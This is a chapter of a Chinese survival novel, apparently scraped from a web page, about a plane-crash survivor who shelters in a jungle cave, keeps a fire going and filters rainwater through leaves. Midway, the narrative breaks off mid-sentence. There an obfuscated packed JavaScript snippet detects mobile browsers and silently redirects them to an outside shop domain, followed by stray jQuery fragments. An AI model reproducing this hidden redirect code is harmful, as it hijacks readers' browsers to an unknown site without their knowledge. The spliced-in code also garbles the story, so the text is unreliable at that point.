程羽是被雨声吵醒的。
她本就睡得浅,雨砸在头顶的石崖上,近在咫尺,用不着雷鸣轰响,整个人当即应激,从堆叠着的枯枝上弹了起来。
事实上,也没有人能在这样的环境里酣眠。
山体上一个浅浅的凹陷,或许是万年前水流侵蚀出的裂口,藏在几丛茂密的灌木后头,略宽,勉强够睡一个成年女性,不高,就算是盘腿坐着也得小心撞头。
洞口一堆将熄未熄的篝火,围着一圈石块,在外头风雨的试探下摇摇欲坠,旁边岩壁上斜斜靠着一把铲子,粗制滥造的模样。没有任何正经厂家能生产出这种东西,因为它只是一块天然斜裂开的木头,有着一定宽度的横截面。上端被人为砸出来一个口子,用结实的藤蔓捆着一根短横木,做成T形的模样,方便握取用力。
木铲的底端还沾着湿润的泥土,没来得及风干结块。
就像程羽还没来得及做完一个好梦。
她坐起来,身下堆叠的木枝和树叶也随着动作,发出嘎吱嘎吱的声音,顾不上回味梦境,直奔火种而去,往里头小心翼翼地加了两把干苔藓。
这是从她的临时床铺里抽出来的,被体温烘烤了一整晚,干干的,正适合燃烧。
她的动作谨慎,表情严肃,对待这堆昨天废了许多心血才摩擦出来的生命之火,称得上万分郑重。
还好火焰没有辜负她的真心,再度燃起来,向四周辐射出暖意,对抗着外头的阴冷潮湿。
程羽这才有空将目光投向洞外,林子还是林子,乔木高大,藤本发达,蕨类和灌木更是疯长,空气中漂浮着的雾气因为下雨的缘故变得更浓。
并没有如她梦见的那样,在眨眼间变回熟悉的人类社会。
程羽叹了口气。
是怎么沦落到这个境地的呢?
参加大学室友的婚礼,临时收到无良老板加班通知,乘坐夜间航班周转回国,结果飞机突发紧急事故……
具体的过程,程羽有些记不清了,每当试图回忆当时的情形,耳边就会响起尖叫与哀鸣,旁边的同乘者双手合十,絮絮叨叨地祈求上帝宽恕他的罪过。
“神明啊……宽恕我……拯救我……”
然后,某个瞬间,飞机烧了起来,机舱上破了一个大洞,巨大的内外气压差将飞机里的人与物暴力地往外掏,靠窗的先飞了出去,程羽只来得及看清那人脸上的惊恐,然后就轮到了自己。
她几乎不能呼吸,昏了过去,再醒来,是在树上。
一棵几乎被淹没在原始丛林中的参天大树。
结合头顶树枝断裂的截面,和极密树冠中不正常的突兀通路,程羽推测,那些层层叠叠、相互交缠的藤蔓和枝条构成了缓冲网,卸掉了她从高空坠落的绝大多数冲力。但凡她坠落的位置再偏离些许,没有卡在茂密的林中,绝无可能像现在这样四肢健全,称得上是生命奇迹。
即便程羽是个情绪并不充沛的淡人,在接受现实处境之后,也不由自主地长长叹了几口气,感慨一声。
神明确实是仁慈的,尽管她压根不是教徒。
只是个两手空空的遇难者。
她看着眼前跳跃的火苗,不时往里投入昨晚寻找庇护所时捡来的树枝。
雨水敲打岩壁的声音被上面附着着厚实的苔藓吸取了一部分,听起来让人的心灵意外平静,可以好好思考当前的处境。
一言以蔽之,一个好消息,一个坏消息。
好消息是她还活着,坏消息是她不得不面对下一个必须面对,而且得用尽一切努力去解决的问题——
怎么继续活着。
林子里到处是潜在的危险,可能是凶猛的野兽,也有可能是潜藏在暗处的毒蛇,或者人类一无所知的病毒,身上没有野外探险的行头,手头也没有食物,更不要说能够求援的专业设备。
除非——算上那把铲子。
程羽又叹了一口气,与其指望那个顺手做出来的百分百原木铲,还不如来看看能不能从衣服上多揪几个线头下来。
质量太好,揪不出来。
程羽:微笑。
身上的冲锋衣是件品牌货,质量不错。她必须要感谢自己穿得足够厚,或者直接感谢那趟抠门的航班机组空调不够暖和。
这件足足有三层的冲锋衣经过这么一遭大难,下落时与树木枝条的摩擦仅仅只是让最外层破了些口子,最大的一道大概有十五六厘米长,而里头的加绒内胆依旧完好无损,这让这件衣服仍保留着最基础,也是最重要的防风保暖功能。
不过有一点可惜,虽然这件衣服有很多口袋,这些为户外旅行者设计的便利并没有被程羽享受到。
因为她和许多乘客一样,将绝大多数行李都放在了背包和旅行箱中,办了托运。
现在,它们和那架倒霉的飞机一起不知所踪了,也许早已化成了爆炸燃烧过后的一团灰烬,也说不定。
她所拥有的,不过是两粒婚宴上随手揣的喜糖,是无核红枣;一个钥匙扣,有两把钥匙,和一个金属迷你指甲剪;半包纸巾;一根全新的直液笔和一个M5尺寸的工作记录本,上面第一页还写着可笑的日程安排,讨人厌的老板大概是必须为此买单了;一个装维生素的塑料小药瓶,空的,最后一粒刚刚吃掉;以及一块因为绑在手上,而没有和手机一样被甩出去的电子手表,电量早已告罄。
程羽对这个美丽废物的期待近乎没有,只是出于习惯,还将它戴在手上,假装自己并未脱离人类社会。
身下坐着的临时床铺勉强也能算是一类物资,一层木头,一层苔藓和树叶,再加一层破破烂烂的冲锋衣外套,勉强能隔绝地面寒气。
这就是她的全部财产了。
一贫如洗,倒是让她有种从没有过的解脱感。
按照昨晚入睡前的计划,她今天有两件事要做。
一是将火种移到洞外去,这样,她就可以依靠烟火发送求救信号。
在这样茫茫的大山丛林之中,树木几乎遮天蔽日,单个的人类过于渺小,足够明显的烟火是最好的求生信标,如果有搜寻空难幸存者的救援直升机从上面经过,说不定就能发现她的信号。
至于第二件事,她需要好好考察四周情况,至少搞清楚自己身在何方。
是热带还是亚热带,是大陆还是岛屿,林子里有没有人居住,或者是否栖息着可以将她一口生吞了的野兽,这些程羽都全然不知。
目前的山洞离她苏醒时的树不算远,大概走了一个或者两个小时就到了,是一处因为有些巨石,植被明显稀疏许多的陡峭山坡。
但这并不意味着她已经摸到了林子边缘,顺着地势望去,四周依然是茫茫林海,只能隐约看见山脉起伏,远处高大险峻。
她本来打算爬到这处山坡顶上,在高处眺望,说不定可以发现正在飞机残骸处搜寻幸存者的队伍,或者找到山谷中的溪流,顺着向下走,也许能抵达有人居住的地方。
这场雨将她所有的计划都打乱了。
说到这个,她还没有发现任何与那架飞机相关的痕迹。
她真的被抛得这样远?其他人还活着吗?救援人员已经发现她的失踪了吗?
还是说,飞机坠毁之后,尸骨难以分离,他们已经认定自己不能存活了。
想到这些,程羽的心随着雨声,又沉重了些。
雨没有要停的迹象。
程羽舔了舔嘴唇,将空药瓶攥在手里,离洞口更近一点,水雾立即糊在她脸上,冰冰凉凉的,她不想出去将自己弄得浑身湿透。
在一片原始丛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489614|202163||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
林里感冒?不,那算得上半场自杀了。
只是她需要补充一些水分。
正常人没有食物,至少也能活过一周,但要是没有水,三天都困难。
还好坠落的地方是一片原始丛林,而不是荒无人烟的沙漠,她乐观地想,将接到的水拿到眼前,看起来有些浑浊。
要是能做个雨水过滤器就好了。
她扫过自己仅有的财产,将目光锁定在几片宽大的叶子上。
可能是某种蕨类,植株就长在洞穴不远处,高度刚过她的腰线,但叶片非常宽,叶脉是深紫色的,有一定的柔韧性,不会因为简单的弯折就脆生生得裂开。
程羽将几片叶子重叠着边缘,铺开成足够宽的平面,卷成漏洞的形状,在尖端留出一个小孔,固定住,便开始往里铺设担当滤芯的材料。
最下层应该要放木炭,可怜她一贫如洗,只能绞尽脑汁去想平替。
目光自然而然瞥向烧了一晚上的篝火,她从里头翻找出几块完全烧透、不再冒烟的丢在地上,抄起石头砸得粉碎,风一吹,很快就晾凉,可以用来吸附异味和杂质。
又往上垫了一层树叶,铺上洞口湿润土壤里筛出来的细沙,最后铺上撕的粉碎的苔藓,组装成一个简单的过滤装置。
还不够,她将剩下的叶片全拿了出来,叶柄朝外,翻卷叶缘向后折,收拢出凹陷后扎紧,做成两个碗。一个用来接雨水,一个用来盛过滤后的水。才戴上冲锋衣的帽子,出洞接了雨水回来,慢慢往这套简陋的雨水过滤器里头倒,等待水的净化。
火光在身旁跳跃,要是她有个金属容器,少说也可以煮水喝,才不枉费这堆摩擦到手都起泡的火。
要是能谈“要是”,她还不如想想,要是没坐那趟飞机,要是没有回去加班的紧急召唤,要是没去参加室友的婚礼……
不,人生哪来那么多“要是”。
她觉得自己像《等待戈多》里的角色,不知道过了多久,雨一点变小的意思也没有,程羽看着水淅淅沥沥地从过滤器的底端漏出,在叶碗中蓄积出可喜的份量,觉得差不多了,才停下手。
水面倒映出她的脸,恍然间又不像她的脸,变成了机场送她的室友。
那时恰有队小萝卜头背着包从身后走过,室友两眼放光:“好可爱!是童子军吗?诶,你要不要也生几个给我玩玩?长得像你,一定更可爱。”
程羽:“……能不能说点好的。”
“好吧,我说点好的——对了,我给你的捧花,你有没有好好收着?尤其是那只小熊装饰哦,我可是特意给你定制的,衣服都是一样的,我就知道,你会穿冲锋衣,这么多年,一点都没变。”
是的,特意定制。谁会结婚的时候往捧花里塞一只陶瓷玩偶,还给它穿上自己朋友的衣服啊?
程羽不想当Steve,但点了点头:“嗯。”
室友说:“早就说好了,我的捧花肯定是要给你的,本来想祝你早日找到命定爱人,但你肯定会说——”
“我不需要。”//“你不需要。”
室友笑了:“就知道你会这样说,所以,我只是想把捧花给你,把我的祝福给你,我希望你幸福地活着,无论在哪里,永远。”
这确实是句好话。
无论在哪里。
程羽平静地将手里的液体一饮而尽,凉凉的,没什么味道。
雨还在下,时而还有雷鸣,但山洞里烤着火很温暖,程羽黑色的眼睛里,金红的火光小幅度地跃动着,温和得不像是一片潮湿的原始丛林。
她向篝火伸出手——
“轰!”
火光猛得炸开,伴随着一阵轰隆隆巨响,沉闷得听不真切,却无论如何也无法忽视。
那是从山体本身传来的。